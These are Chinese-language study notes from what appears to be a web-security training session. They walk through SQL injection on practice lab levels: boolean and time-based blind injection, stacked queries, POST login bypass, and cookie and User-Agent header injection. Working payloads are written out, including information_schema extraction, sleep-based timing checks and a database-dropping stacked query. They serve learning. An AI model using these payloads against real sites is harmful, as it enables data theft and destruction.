目录
0 录制文件
1 SQL注入-布尔盲注
1.1 布尔盲注优缺点
1.2 先看一下第八关嗯页面特征
1.3 步骤
1.4 常用函数
1.5 判断是否字符型
1.6 判断闭合
1.7 查询库名
1.8 查询数据表
1.9 获取字段名
1.10 获取数据
1.11 布尔盲注缺陷
2 时间盲注
2.1 基础知识
2.2 判断注入点
2.2 构造
2.3 假设法
2.4 获取库名
2.5 获取数据表
2.6 获取字段名
2.7 获取数据
3 堆叠查询
3.1 判断有没有堆叠
4 五种注入方式
4.1 post注入
4.1.1 抓取一下报文
4.1.2 判断闭合类型
4.1.3 查询数据库
4.2 http头部注入
4.2.1 正确登录
4.2.2 添加单引号
4.2.3 判断闭合
4.2.4 查询数据库
4.2.5 查询数据表段数据
4.2.6 注入点在cookee字段
4.2.7 ua字段
0 录制文件
录制:的快速会议
日期:2025-07-03 08:38:42
录制文件:https://meeting.tencent.com/crm/2pvQBe3j36
1 SQL注入-布尔盲注
1.1 布尔盲注优缺点
1.2 第八关页面特征
页面没有报错,也没有显示位
猜库名,页面报错
1.3 步骤
1.4 常用函数
1.5 判断是否字符型
一个单引号正常返回
1.6 判断闭合
注释之后正常返回,无闭合
1.7 查询库名
id=1' and substr((select database()),1,1)='b'--+
字母a不对,就依次往下改,a-z,第一个肯定是字母
用burp抓包,进行爆破
第一个字典是数字,第二个字典是字母
开始攻击
对长度查询
依然用burp爆破
依然对长度进行排序
从上到下组合字母,发现库名为security
1.8 查询数据表
查询的还是系统库,table_name from information…
id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='b'--+
然后依然放到burp里进行爆破
查询结果:id username
对长度排序,基本<947的都为真,可以得到所有表名
表名区分:当数据不连贯的时候,标识表名到此为止
第一张表到6
第二张表从8开始
可以一张表一张表的查询,用limit限制,在burp里禁止有空格,用➕代替
再去攻击一下,发现这次数据正常
不用datebase(),直接根据库名直接指定security
1.9 获取字段名
查的是column,找的是columns
id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)='e'--+
用具体库名指定更好
1.10 获取数据
id=1' and substr((select username from users limit 0,1),1,1)='e'--+
id=1' and substr((select group_concat(username) from users),1,1)='e'--+
直接从users表查询,用limit限制,第一个用户查完去查第二个
去抓包一下
长度排序
数据:dump
这是对单个字段进行猜测的
也可以进行同时猜测的
1.11 布尔盲注缺陷
所有字符都是一个个猜出来的,速度非常慢
2 时间盲注
2.1 基础知识
2.2 判断注入点
时间盲注
不管用单引号还是括号,都是you are in
假设存在数字型时间盲注
看一下正常网络请求时间
再用时间盲注函数去发送请求
在加上括号去请求
一个不够加两个
然后去猜是不是字符型,添加单引号
这时候发现,页面显示时间7秒,正常2秒,睡眠5秒
说明存在字符型时间盲注
2.2 构造
构造与布尔盲注一样
2.3 假设法
id=1' and sleep(5)--+
2.4 获取库名
id=1' and if(substr((select database()),1,1)='a',sleep(5),0)--+
截取函数
然后去抓包
!这时候不是对长度排序
是对到达时间排序
超过5秒钟的,是正常相应
根据前面的数字对字符排序
2.5 获取数据表
id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='a',sleep(5),0)--+
依然对到达时间排序
简化一下就是用limit限制成单个表名
也可以下载一下用ai排序
2.6 获取字段名
2.7 获取数据
3 堆叠查询
可以用分号把前面的结束,然后再写一条语句
在38关
3.1 判断有没有堆叠
或者直接插入一条语句(直接插入删除数据库函数)
删除之后再访问,就访问不到了
删除库之后需要在创建一下数据库,就可以正常使用
看网站源码
语句是执行数据库语句的函数,可以执行多条命令
4 五种注入方式
主要分为三种
4.1 post注入
11关 万能密码
成功登陆原因:
可以直接把用户输入插入到查询语句中
密码是随便输入的
因为用户名为真,但是用户名与密码之间是or连接,用户名里有“1”,有一个真就可以登陆
存在万能密码,必定存在数据库注入漏洞
用户名密码随便输,再去登陆还是成功登陆
只要有"1",就可以登陆,1就是代表真
如果用户名不存在,就在密码那里构造,反之在用户名构造。
4.1.1 抓取一下报文
发送到重放器
添加单引号验证,页面直接报错,说明存在注入漏洞
不需要判断数据类型,都是字符型
4.1.2 判断闭合类型
4.1.3 查询数据库
注:post注入可以存在空格的,但是在burp不能存在空格
4.2 http头部注入
20关
4.2.1 正确登录
需要登录之后再验证,这时候需要知道正确账号密码:admin,admin
登陆成功,会在响应报文有一个set cookie字段
4.2.2 添加单引号
页面还是报错的
4.2.3 判断闭合
手动闭合
4.2.4 查询数据库
选择报错注入漏洞
手动闭合不能去
然后当前的数据库就出来了
4.2.5 查询数据表段数据
4.2.6 注入点在cookee字段
注入方式:用布尔盲注去攻击就好
4.2.7 ua字段
也要登陆之后去验证
发送到burp
添加单引号还是报错
添加单引号1,成功
然后再插入之前的
查询到了数据库
下面是源码文件: